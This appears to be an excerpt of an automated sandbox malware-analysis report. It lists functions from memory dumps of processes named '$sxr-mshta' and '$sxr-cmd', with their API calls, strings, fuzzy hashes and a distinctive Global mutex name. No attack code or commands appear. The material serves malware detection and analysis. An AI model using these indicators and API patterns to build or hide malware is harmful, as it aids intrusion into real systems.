_set_statfp.LIBCMT ref: 000001ACE9011380
_set_statfp.LIBCMT ref: 000001ACE901139B
_set_statfp.LIBCMT ref: 000001ACE90113B7
_set_statfp.LIBCMT ref: 000001ACE90113F3

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: df60be486fa03a822db36ac1cc4ec4760dd7791901d6f8e5baa2a5e0eaef6986
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 8611A333B56E0101FAEC11EBE4913E99C70AB5F374FC80624AA67C6EDE8A148C416283

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D96F8 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001ACEA2D9717
SetLastError.KERNEL32 ref: 000001ACEA2D979E

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction ID: afedb49b93f5282fbd0f4f08ce41f77d5cf9362e5f64a08a9f6af3aaa3c330e6
Opcode Fuzzy Hash: afeb0ab3ae9b140264ba62f65efacef86e232e555d1866a57a7faeca2321756a
Instruction Fuzzy Hash: AF116A757032414EFE159B2D98007D52A51AB8A7A2F184A24E92D37FD7DE38D84287C2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D3910 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001ACEA2D3923
GetCurrentProcess.KERNEL32 ref: 000001ACEA2D3956
VirtualProtectEx.KERNEL32 ref: 000001ACEA2D3976
GetCurrentProcess.KERNEL32 ref: 000001ACEA2D398F
VirtualProtectEx.KERNEL32 ref: 000001ACEA2D39B0

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction ID: 4063ca973c83d04121031b10890a0ed723de865bbbfc7d02c7fc40f0a1be5d69
Opcode Fuzzy Hash: 95c025b2b6ac4fd8cd0aff1f1749a1d88ffa67048487cde947e6dbc57d84852c
Instruction Fuzzy Hash: 17118F36706B4087EB24CB2AE4442DABBB0F746B82F048029DE8C13795EF7DC948C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE9008595 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001ACE90085A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001ACE9008638

Strings

csm, xrefs: 000001ACE900861E
f, xrefs: 000001ACE90085B6

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction ID: b2b64304aebdacbabd4f642863a7f83068d0cb70c11fe1ca55ac9618cc19312c
Opcode Fuzzy Hash: 2b5e796eb5467920efef0e0a99ae24113856edacf9d40b67cb560e30e154ce16
Instruction Fuzzy Hash: 4051E6367136008BEB54CF55D404BDDBB95F34AB88F918920DE5A87788EBB6C981C782

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE9008578 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001ACE90085A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001ACE9008638

Strings

csm, xrefs: 000001ACE900861E
f, xrefs: 000001ACE90085B6

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction ID: 94726f2286672b7ec900405ff3bbb1d2fecaa7b73b9066aabf2ede55ddb5762d
Opcode Fuzzy Hash: f92dbc6d1c1d953d5be36fe8438910096b534b45e3e951fcd2048bd10c89d910
Instruction Fuzzy Hash: F331B33230274096E714DF56E8447D9BBA4F34ABC8F858414EE9687784CB79C940CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D2744 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001ACEA2D2828
StrCpyW.SHLWAPI ref: 000001ACEA2D2841

Strings

\\.\pipe\, xrefs: 000001ACEA2D2833

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction ID: 319b0697934bad70bd6088f9d4e5e7c155fd0ae2c7668c7ed188eec6fbc58b31
Opcode Fuzzy Hash: ca8ddeb7ac59d6e709c177a04970a920754aa102293d40bded593f37500a9fba
Instruction Fuzzy Hash: 2271CF327027804AEB249F2EDA453EE6B90F786786F554016DE4D63B9ADF35CA00C782

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D2530 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001ACEA2D2617
StrCpyW.SHLWAPI ref: 000001ACEA2D262E

Strings

\\.\pipe\, xrefs: 000001ACEA2D2622

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction ID: 7e63f0771d7215c13fc66341b7d4fb5c2d4d0b5ab73bcee7ba6e6331ea733ea4
Opcode Fuzzy Hash: 7663802d97220815dd834e17801c2a4e2bb3ef89d9d316510f4c5ee1515461d8
Instruction Fuzzy Hash: 8651053230A3D14AFA359B2DA1447EE6F91F797782F065025DE8D23B9BCA39C50187C2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2E06A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001ACEA2E07BB
GetLastError.KERNEL32 ref: 000001ACEA2E07DD

Strings

U, xrefs: 000001ACEA2E0767

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction ID: 268954b8612093be874be9a8247c3e032634363a72549ea68396d1a34a35c881
Opcode Fuzzy Hash: 33761665e30f7191252d6346bfc4364073660ee169ab4516afdd483d80f04c27
Instruction Fuzzy Hash: 4E410C3231AA4095EB11CF29E4443DA7BA0F749795F418121DE4D97798DF3CC542CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D2A08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001ACEA2D2A5D
CloseHandle.KERNEL32 ref: 000001ACEA2D2A6B

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001ACEA2D2A4D

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction ID: f61167e2651820de8591d07a720a3934170979ca94e3cffa0351caf0fc8d3f49
Opcode Fuzzy Hash: 7f13c5918517e76ecd90b03edc6bf557ba308c82d84999e88c8a65afd720b3bc
Instruction Fuzzy Hash: 9021D3363067408AE775CB1AB84079ABBA0F796B82F468019DE8D67755EF34C885C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D2AF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 000001ACEA2D2B49
CloseHandle.KERNEL32 ref: 000001ACEA2D2B57

Strings

Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw, xrefs: 000001ACEA2D2B39

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CloseHandleMutexOpen
String ID: Global\tmlNftmlNfSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYwSsJXkWZQZSfluqUJRhVKurdpITJfmRWiooyZfrFNaxsYw
API String ID: 3128266590-3670590667
Opcode ID: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction ID: 43131cdc840e7214e32c2703c3ce4f9ce2929e2c21a5b1eef7140ca923e83d80
Opcode Fuzzy Hash: 5302a5e3305b9a05be76c3053b07484aa6e553cd40859f2f5bec3a73be18632a
Instruction Fuzzy Hash: 882104327017408AE760DF1EB84079E7BA2F78AB42F468025DE8CA3755EF74C486C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DD760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001ACEA2DD799
LCMapStringW.KERNEL32 ref: 000001ACEA2DD821

Strings

LCMapStringEx, xrefs: 000001ACEA2DD77C, 000001ACEA2DD78D

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction ID: 16a0683443718a9d4b00cb92a0636272508c9588a9dca63bfcf66a1a8a2c8b52
Opcode Fuzzy Hash: 1fa9275d433daf0b6716fc06567d784d1258d0ff6276e676772a611a04aaaae8
Instruction Fuzzy Hash: 10111F35709BC08AD761CB1AF44069ABBA4F7CAB81F548115EECD93B59DF38C4508B80

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D9544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001ACEA2D9588
RaiseException.KERNEL32 ref: 000001ACEA2D95CE

Strings

csm, xrefs: 000001ACEA2D95BB

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction ID: acdbfa7475188e3bd5fd23afba0984237a40c88ef4739296bb2d9f40457d536d
Opcode Fuzzy Hash: 4e7fa5f10fb8cdd189fffd301e3fa9d361a0630010e37bb7f0a8f0acf9fdffb8
Instruction Fuzzy Hash: F0115132215B4086EB118F29F4403997BA1F789B95F188620EF8D17B65DF3DC555C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DD6FC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001ACEA2DD72D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000001ACEA2DD747

Strings

InitializeCriticalSectionEx, xrefs: 000001ACEA2DD721

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction ID: e81a5d312564488f4778b9a82c6d453bf304c095f630db13c3ae49f3ed1ab847
Opcode Fuzzy Hash: d3308de59f6175e246a4e58d0bead6ac7e88a58d51302341d1d8d46ecdfbdf17
Instruction Fuzzy Hash: 84F0E235B02B8096FB068B4DF4006D82A60FF89B92F44C062E95D23B15CF38C8C4C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DD6A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000001ACEA2DD6D1
TlsSetValue.KERNEL32 ref: 000001ACEA2DD6E8

Strings

FlsSetValue, xrefs: 000001ACEA2DD6BE

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction ID: 4a713e8bead376a6cf45cf616d1204bcb9d4c535a8f3a30230fff1d5908b58b8
Opcode Fuzzy Hash: c57a0a8e4a9a5bd5c5ab42880a7d7ba481cf5cc2991d860fdde5879172b30074
Instruction Fuzzy Hash: 76E09B71703A409AEF065B5DF8006D42B61BB8A782F48C026D92D16355CF38C8D4C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1D60 Relevance: 5.1, APIs: 4, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001ACEA2D1D95
HeapAlloc.KERNEL32 ref: 000001ACEA2D1DA4
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1E18
HeapFree.KERNEL32 ref: 000001ACEA2D1E26

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction ID: 16cef19a75897a972722d17d6cca093052f09fdebf5c941e974c304b5546d580
Opcode Fuzzy Hash: 286b6d01e01d60a9c7311f258349b816b5eba68e569a770be06b8a5557e1329f
Instruction Fuzzy Hash: 0E219232706B8089EB118F5EE40429AB7A1FB89BD6F048015DE8D57B25EF78C4829780

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001ACEA2D127A
HeapAlloc.KERNEL32 ref: 000001ACEA2D1289
GetProcessHeap.KERNEL32 ref: 000001ACEA2D12A3
HeapAlloc.KERNEL32 ref: 000001ACEA2D12B4

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction ID: 9b446fd1866a1343f7f87fa1f1a8520396ec9a9a932a91b1f8be0d0211b8919e
Opcode Fuzzy Hash: d4b3fcfbe4be7c36cb8b6f9944163e5fe9bb7a40ebadcfb6d552ceb49718e017
Instruction Fuzzy Hash: 28E06D727026049AF7058F66D8043993AE1FB8AF03F48C02CC90D0B350EF7D84D98781

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-cmd.exePID: 1804, Parent PID: 2616COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	45.8%
Signature Coverage:	0%
Total number of Nodes:	96
Total number of Limit Nodes:	14

Executed Functions

Function 00007FF7137F0A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7137F1EA0: wcschr.MSVCRT ref: 00007FF7137F1EB3

_wcsnicmp.MSVCRT ref: 00007FF7137F0AFE
memset.MSVCRT ref: 00007FF7137F0B37
wcschr.MSVCRT ref: 00007FF7137F0B91
wcsrchr.MSVCRT ref: 00007FF7137F0C14
wcsrchr.MSVCRT ref: 00007FF7137F0D79
NeedCurrentDirectoryForExePathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-2-0 ref: 00007FF7137F0D9A
wcsrchr.MSVCRT ref: 00007FF7137F0FBB
wcschr.MSVCRT ref: 00007FF7137F0FD8
wcschr.MSVCRT ref: 00007FF7137F0FF3
_wcsicmp.MSVCRT ref: 00007FF7137F1091
_wcsicmp.MSVCRT ref: 00007FF7137F10B1
wcsrchr.MSVCRT ref: 00007FF7137F1102
_wcsicmp.MSVCRT ref: 00007FF7137F1124
_wcsicmp.MSVCRT ref: 00007FF7137F1142
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF7137F1169

Strings

.CMD, xrefs: 00007FF7137F10A7, 00007FF7137F111A
PATH, xrefs: 00007FF7137F11D3
cmd , xrefs: 00007FF7137F0AF4
COMSPEC, xrefs: 00007FF7137FD927
PATHEXT, xrefs: 00007FF7137F0E6E
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF7137FDA38
.BAT, xrefs: 00007FF7137F1087, 00007FF7137F1138

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
API String ID: 3305344409-4288247545
Opcode ID: 24339b1bae00977a6506967ece6ae207caf9a892aecb19933cb35f9f7a921b2b
Instruction ID: 7a69f4c664ca89d52866e19e0e15265f70ebe1e20738c96192914093129166a7
Opcode Fuzzy Hash: 24339b1bae00977a6506967ece6ae207caf9a892aecb19933cb35f9f7a921b2b
Instruction Fuzzy Hash: C042A621A09E8285EB90BB15A8902B9E7A4FF4D7B4FC44234D92E677D4DF3DE54D8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137EAA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7137ECD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDA6
Part of subcall function 00007FF7137ECD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF7137EB9A1,?,?,?,?,00007FF7137ED81A), ref: 00007FF7137ECDBD

wcschr.MSVCRT ref: 00007FF7137EAAB6
towlower.MSVCRT ref: 00007FF7137EAAD5
memset.MSVCRT ref: 00007FF7137EAC27
wcschr.MSVCRT ref: 00007FF7137EAC3C
wcschr.MSVCRT ref: 00007FF7137EAC60
wcsrchr.MSVCRT ref: 00007FF7137EAC9B
wcschr.MSVCRT ref: 00007FF7137EAD82
wcschr.MSVCRT ref: 00007FF7137EAD9D
wcschr.MSVCRT ref: 00007FF7137EADB8
wcschr.MSVCRT ref: 00007FF7137EADD3
wcschr.MSVCRT ref: 00007FF7137EADEE
wcschr.MSVCRT ref: 00007FF7137EAE09
iswspace.MSVCRT ref: 00007FF7137EAE30

Strings

:, xrefs: 00007FF7137FBCFE
:, xrefs: 00007FF7137FBC86
:ON, xrefs: 00007FF7137FBD37
:, xrefs: 00007FF7137FBC26
OFF, xrefs: 00007FF7137FBC32, 00007FF7137FBC92, 00007FF7137FBD0A

Memory Dump Source

Source File: 0000000D.00000002.3360838477.00007FF7137E1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF7137E0000, based on PE: true

Associated: 0000000D.00000002.3360598837.00007FF7137E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71381D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF71382F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3361797943.00007FF713834000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF713839000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.3362717155.00007FF71383D000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7137e0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heap$AllocateProcessiswspacememsettowlowerwcsrchr
String ID: :$:$:$:ON$OFF
API String ID: 4076514806-467788257
Opcode ID: a729f565638991cd54cf916fc6f5128fd08837229019dbdabd8178241c992b90
Instruction ID: 315560bd00ae74524552954ef10515e2b587430dc94a303fb58df3e7541079c0
Opcode Fuzzy Hash: a729f565638991cd54cf916fc6f5128fd08837229019dbdabd8178241c992b90
Instruction Fuzzy Hash: 4522AE21A08A4286FBE4BB259494279E695FF4DBA0FC88135D91E77394DF7DA84CC330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7137F51EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7137F5508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF7137E6F97), ref: 00007FF7137F550C

GetLocaleInfoW.KERNELBASE ref: 00007FF7137F5237
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5260
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F52AB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F52F7
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5335
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5360
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5388
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F53B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F53D8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5400
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5428
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5450
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F5478
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF7137F54A0
setlocale.MSVCRT ref: 00007FF7137F54BD

Strings

dd/MM/yy, xrefs: 00007FF7137FEFA3
Tue, xrefs: 00007FF7137FF035
Sun, xrefs: 00007FF7137FF184
MM/dd/yy, xrefs: 00007FF7137F52D0
Wed, xrefs: 00007FF7137FF078
yy/MM/dd, xrefs: 00007FF7137FEF8D
Fri, xrefs: 00007FF7137FF0FE
Sat, xrefs: 00007FF7137FF141
.OCP, xrefs: 00007FF7137F54B4
Mon, xrefs: 00007FF7137FEFF2
Thu, xrefs: 00007FF7137FF0BB

Memory Dump Source

